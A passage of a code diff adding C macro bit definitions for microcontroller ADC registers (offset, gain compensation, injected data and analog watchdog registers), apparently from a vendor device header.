ADC_OFR4_OFFSET4_Pos) /*!< 0x00000010 */ +#define ADC_OFR4_OFFSET4_5 (0x0000020UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000020 */ +#define ADC_OFR4_OFFSET4_6 (0x0000040UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000040 */ +#define ADC_OFR4_OFFSET4_7 (0x0000080UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000080 */ +#define ADC_OFR4_OFFSET4_8 (0x0000100UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000100 */ +#define ADC_OFR4_OFFSET4_9 (0x0000200UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000200 */ +#define ADC_OFR4_OFFSET4_10 (0x0000400UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000400 */ +#define ADC_OFR4_OFFSET4_11 (0x0000800UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000800 */ +#define ADC_OFR4_OFFSET4_12 (0x0001000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00001000 */ +#define ADC_OFR4_OFFSET4_13 (0x0002000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00002000 */ +#define ADC_OFR4_OFFSET4_14 (0x0004000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00004000 */ +#define ADC_OFR4_OFFSET4_15 (0x0008000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00008000 */ +#define ADC_OFR4_OFFSET4_16 (0x0010000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00010000 */ +#define ADC_OFR4_OFFSET4_17 (0x0020000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00020000 */ +#define ADC_OFR4_OFFSET4_18 (0x0040000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00040000 */ +#define ADC_OFR4_OFFSET4_19 (0x0080000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00080000 */ +#define ADC_OFR4_OFFSET4_20 (0x0100000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00100000 */ +#define ADC_OFR4_OFFSET4_21 (0x0200000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00200000 */ +#define ADC_OFR4_OFFSET4_22 (0x0400000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00400000 */ +#define ADC_OFR4_OFFSET4_23 (0x0800000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00800000 */ + +#define ADC_OFR4_OFFSETPOS_Pos (24UL) +#define ADC_OFR4_OFFSETPOS_Msk (0x1UL << ADC_OFR4_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR4_OFFSETPOS ADC_OFR4_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR4_USAT_Pos (25UL) +#define ADC_OFR4_USAT_Msk (0x1UL << ADC_OFR4_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR4_USAT ADC_OFR4_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR4_SSAT_Pos (26UL) +#define ADC_OFR4_SSAT_Msk (0x1UL << ADC_OFR4_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR4_SSAT ADC_OFR4_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR4_OFFSET4_CH_Pos (27UL) +#define ADC_OFR4_OFFSET4_CH_Msk (0x1FUL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR4_OFFSET4_CH ADC_OFR4_OFFSET4_CH_Msk /*!< ADC Channel selection for the data offset 4 */ +#define ADC_OFR4_OFFSET4_CH_0 (0x01UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR4_OFFSET4_CH_1 (0x02UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR4_OFFSET4_CH_2 (0x04UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR4_OFFSET4_CH_3 (0x08UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR4_OFFSET4_CH_4 (0x10UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_GCOMP register ********************/ +#define ADC_GCOMP_GCOMPCOEFF_Pos (0UL) +#define ADC_GCOMP_GCOMPCOEFF_Msk (0x3FFFUL << ADC_GCOMP_GCOMPCOEFF_Pos)/*!< 0x00003FFF */ +#define ADC_GCOMP_GCOMPCOEFF ADC_GCOMP_GCOMPCOEFF_Msk /*!< ADC Injected DATA */ +#define ADC_GCOMP_GCOMP_Pos (31UL) +#define ADC_GCOMP_GCOMP_Msk (0x1UL << ADC_GCOMP_GCOMP_Pos) /*!< 0x00003FFF */ +#define ADC_GCOMP_GCOMP ADC_GCOMP_GCOMP_Msk /*!< ADC Injected DATA */ + +/******************** Bit definition for ADC_JDR1 register ********************/ +#define ADC_JDR1_JDATA_Pos (0UL) +#define ADC_JDR1_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR1_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR1_JDATA ADC_JDR1_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR1_JDATA_0 (0x00000001UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR1_JDATA_1 (0x00000002UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR1_JDATA_2 (0x00000004UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR1_JDATA_3 (0x00000008UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR1_JDATA_4 (0x00000010UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR1_JDATA_5 (0x00000020UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR1_JDATA_6 (0x00000040UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR1_JDATA_7 (0x00000080UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR1_JDATA_8 (0x00000100UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR1_JDATA_9 (0x00000200UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR1_JDATA_10 (0x00000400UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR1_JDATA_11 (0x00000800UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR1_JDATA_12 (0x00001000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR1_JDATA_13 (0x00002000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR1_JDATA_14 (0x00004000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR1_JDATA_15 (0x00008000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR1_JDATA_16 (0x00010000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR1_JDATA_17 (0x00020000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR1_JDATA_18 (0x00040000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR1_JDATA_19 (0x00080000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR1_JDATA_20 (0x00100000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR1_JDATA_21 (0x00200000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR1_JDATA_22 (0x00400000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR1_JDATA_23 (0x00800000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR1_JDATA_24 (0x01000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR1_JDATA_25 (0x02000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR1_JDATA_26 (0x04000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR1_JDATA_27 (0x08000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR1_JDATA_28 (0x10000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR1_JDATA_29 (0x20000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR1_JDATA_30 (0x40000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR1_JDATA_31 (0x80000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_JDR2 register ********************/ +#define ADC_JDR2_JDATA_Pos (0UL) +#define ADC_JDR2_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR2_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR2_JDATA ADC_JDR2_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR2_JDATA_0 (0x00000001UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR2_JDATA_1 (0x00000002UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR2_JDATA_2 (0x00000004UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR2_JDATA_3 (0x00000008UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR2_JDATA_4 (0x00000010UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR2_JDATA_5 (0x00000020UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR2_JDATA_6 (0x00000040UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR2_JDATA_7 (0x00000080UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR2_JDATA_8 (0x00000100UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR2_JDATA_9 (0x00000200UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR2_JDATA_10 (0x00000400UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR2_JDATA_11 (0x00000800UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR2_JDATA_12 (0x00001000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR2_JDATA_13 (0x00002000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR2_JDATA_14 (0x00004000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR2_JDATA_15 (0x00008000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR2_JDATA_16 (0x00010000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR2_JDATA_17 (0x00020000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR2_JDATA_18 (0x00040000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR2_JDATA_19 (0x00080000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR2_JDATA_20 (0x00100000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR2_JDATA_21 (0x00200000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR2_JDATA_22 (0x00400000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR2_JDATA_23 (0x00800000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR2_JDATA_24 (0x01000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR2_JDATA_25 (0x02000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR2_JDATA_26 (0x04000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR2_JDATA_27 (0x08000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR2_JDATA_28 (0x10000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR2_JDATA_29 (0x20000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR2_JDATA_30 (0x40000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR2_JDATA_31 (0x80000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_JDR3 register ********************/ +#define ADC_JDR3_JDATA_Pos (0UL) +#define ADC_JDR3_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR3_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR3_JDATA ADC_JDR3_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR3_JDATA_0 (0x00000001UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR3_JDATA_1 (0x00000002UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR3_JDATA_2 (0x00000004UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR3_JDATA_3 (0x00000008UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR3_JDATA_4 (0x00000010UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR3_JDATA_5 (0x00000020UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR3_JDATA_6 (0x00000040UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR3_JDATA_7 (0x00000080UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR3_JDATA_8 (0x00000100UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR3_JDATA_9 (0x00000200UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR3_JDATA_10 (0x00000400UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR3_JDATA_11 (0x00000800UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR3_JDATA_12 (0x00001000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR3_JDATA_13 (0x00002000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR3_JDATA_14 (0x00004000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR3_JDATA_15 (0x00008000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR3_JDATA_16 (0x00010000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR3_JDATA_17 (0x00020000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR3_JDATA_18 (0x00040000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR3_JDATA_19 (0x00080000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR3_JDATA_20 (0x00100000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR3_JDATA_21 (0x00200000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR3_JDATA_22 (0x00400000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR3_JDATA_23 (0x00800000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR3_JDATA_24 (0x01000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR3_JDATA_25 (0x02000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR3_JDATA_26 (0x04000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR3_JDATA_27 (0x08000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR3_JDATA_28 (0x10000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR3_JDATA_29 (0x20000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR3_JDATA_30 (0x40000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR3_JDATA_31 (0x80000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_JDR4 register ********************/ +#define ADC_JDR4_JDATA_Pos (0UL) +#define ADC_JDR4_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR4_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR4_JDATA ADC_JDR4_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR4_JDATA_0 (0x00000001UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR4_JDATA_1 (0x00000002UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR4_JDATA_2 (0x00000004UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR4_JDATA_3 (0x00000008UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR4_JDATA_4 (0x00000010UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR4_JDATA_5 (0x00000020UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR4_JDATA_6 (0x00000040UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR4_JDATA_7 (0x00000080UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR4_JDATA_8 (0x00000100UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR4_JDATA_9 (0x00000200UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR4_JDATA_10 (0x00000400UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR4_JDATA_11 (0x00000800UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR4_JDATA_12 (0x00001000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR4_JDATA_13 (0x00002000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR4_JDATA_14 (0x00004000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR4_JDATA_15 (0x00008000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR4_JDATA_16 (0x00010000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR4_JDATA_17 (0x00020000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR4_JDATA_18 (0x00040000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR4_JDATA_19 (0x00080000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR4_JDATA_20 (0x00100000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR4_JDATA_21 (0x00200000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR4_JDATA_22 (0x00400000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR4_JDATA_23 (0x00800000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR4_JDATA_24 (0x01000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR4_JDATA_25 (0x02000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR4_JDATA_26 (0x04000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR4_JDATA_27 (0x08000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR4_JDATA_28 (0x10000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR4_JDATA_29 (0x20000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR4_JDATA_30 (0x40000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR4_JDATA_31 (0x80000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_AWD2CR register ********************/ +#define ADC_AWD2CR_AWD2CH_Pos (0UL) +#define ADC_AWD2CR_AWD2CH_Msk (0xFFFFFFUL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00FFFFFF */ +#define ADC_AWD2CR_AWD2CH ADC_AWD2CR_AWD2CH_Msk /*!< ADC Analog watchdog 2 channel selection */ +#define ADC_AWD2CR_AWD2CH_0 (0x00001UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000001 */ +#define ADC_AWD2CR_AWD2CH_1 (0x00002UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000002 */ +#define ADC_AWD2CR_AWD2CH_2 (0x00004UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000004 */ +#define ADC_AWD2CR_AWD2CH_3 (0x00008UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000008 */ +#define ADC_AWD2CR_AWD2CH_4 (0x00010UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000010 */ +#define ADC_AWD2CR_AWD2CH_5 (0x00020UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000020 */ +#define ADC_AWD2CR_AWD2CH_6 (0x00040UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000040 */ +#define ADC_AWD2CR_AWD2CH_7 (0x00080UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000080 */ +#define ADC_AWD2CR_AWD2CH_8 (0x00100UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000100 */ +#define ADC_AWD2CR_AWD2CH_9 (0x00200UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000200 */ +#define ADC_AWD2CR_AWD2CH_10 (0x00400UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000400 */ +#define ADC_AWD2CR_AWD2CH_11 (0x00800UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000800 */ +#define ADC_AWD2CR_AWD2CH_12 (0x01000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00001000 */ +#define ADC_AWD2CR_AWD2CH_13 (0x02000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00002000 */ +#define ADC_AWD2CR_AWD2CH_14 (0x04000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00004000 */ +#define ADC_AWD2CR_AWD2CH_15 (0x08000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00008000 */ +#define ADC_AWD2CR_AWD2CH_16 (0x10000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00010000 */ +#define ADC_AWD2CR_AWD2CH_17 (0x20000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00020000 */ +#define ADC_AWD2CR_AWD2CH_18 (0x40000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00040000 */ +#define ADC_AWD2CR_AWD2CH_19 (0x80000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00080000 */ +#define ADC_AWD2CR_AWD2CH_20 (0x100000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00100000 */ +#define ADC_AWD2CR_AWD2CH_21 (0x200000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00200000 */ +#define ADC_AWD2CR_AWD2CH_22 (0x400000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00400000 */ +#define ADC_AWD2CR_AWD2CH_23 (0x800000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00800000 */ + +/******************** Bit definition for ADC_AWD1TR register *******************/ +#define ADC_AWD1TR_LT1_Pos (0UL) +#define ADC_AWD1TR_LT1_Msk (0xFFFUL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000FFF */ +#define ADC_AWD1TR_LT1 ADC_AWD1TR_LT1_Msk /*!< ADC analog watchdog 1 threshold low */ +#define ADC_AWD1TR_LT1_0 (0x001UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000001 */ +#define ADC_AWD1TR_LT1_1 (0x002UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000002 */ +#define ADC_AWD1TR_LT1_2 (0x004UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000004 */ +#define ADC_AWD1TR_LT1_3 (0x008UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000008 */ +#define ADC_AWD1TR_LT1_4 (0x010UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000010 */ +#define ADC_AWD1TR_LT1_5 (0x020UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000020 */ +#define ADC_AWD1TR_LT1_6 (0x040UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000040 */ +#define ADC_AWD1TR_LT1_7 (0x080UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000080 */ +#define ADC_AWD1TR_LT1_8 (0x100UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000100 */ +#define ADC_AWD1TR_LT1_9 (0x200UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000200 */ +#define ADC_AWD1TR_LT1_10 (0x400UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000400 */ +#define ADC_AWD1TR_LT1_11 (0x800UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000800 */ + +#define ADC_AWD1TR_HT1_Pos (16UL) +#define ADC_AWD1TR_HT1_Msk (0xFFFUL << ADC_AWD1TR_HT1_Pos) /*!< 0x0FFF0000 */ +#define ADC_AWD1TR_HT1 ADC_AWD1TR_HT1_Msk /*!< ADC Analog watchdog 1 threshold high */ +#define ADC_AWD1TR_HT1_0 (0x001UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00010000 */ +#define ADC_AWD1TR_HT1_1 (0x002UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00020000 */ +#define ADC_AWD1TR_HT1_2 (0x004UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00040000 */ +#define ADC_AWD1TR_HT1_3 (0x008UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00080000 */ +#define ADC_AWD1TR_HT1_4 (0x010UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00100000 */ +#define ADC_AWD1TR_HT1_5 (0x020UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00200000 */ +#define ADC_AWD1TR_HT1_6 (0x040UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00400000 */ +#define ADC_AWD1TR_HT1_7 (0x080UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00800000 */ +#define ADC_AWD1TR_HT1_8 (0x100UL << ADC_AWD1TR_HT1_Pos) /*!< 0x01000000 */ +#define ADC_AWD1TR_HT1_9 (0x200UL << ADC_AWD1TR_HT1_Pos) /*!< 0x02000000 */ +#define ADC_AWD1TR_HT1_10 (0x400UL << ADC_AWD1TR_HT1_Pos) /*!< 0x04000000 */ +#define ADC_AWD1TR_HT1_11 (0x800UL << ADC_AWD1TR_HT1_Pos) /*!< 0x08000000 */ + +/******************** Bit definition for ADC_AWDTR2 register *******************/ +#define ADC_AWD2TR_LT2_Pos (0UL) +#define ADC_AWD2TR_LT2_Msk (0xFFFUL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000FFF */ +#define ADC_AWD2TR_LT2 ADC_AWD2TR_LT2_Msk /*!< ADC analog watchdog 2 threshold low */ +#define ADC_AWD2TR_LT2_0 (0x001UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000001 */ +#define ADC_AWD2TR_LT2_1 (0x002UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000002 */ +#define ADC_AWD2TR_LT2_2 (0x004UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000004 */ +#define ADC_AWD2TR_LT2_3 (0x008UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000008 */ +#define ADC_AWD2TR_LT2_4 (0x010UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000010 */ +#define ADC_AWD2TR_LT2_5 (0x020UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000020 */ +#define ADC_AWD2TR_LT2_6 (0x040UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000040 */ +#define ADC_AWD2TR_LT2_7 (0x080UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000080 */ +#define ADC_AWD2TR_LT2_8 (0x100UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000100 */ +#define ADC_AWD2TR_LT2_9 (0x200UL << ADC_AWD2TR_LT2_Pos) /*!< 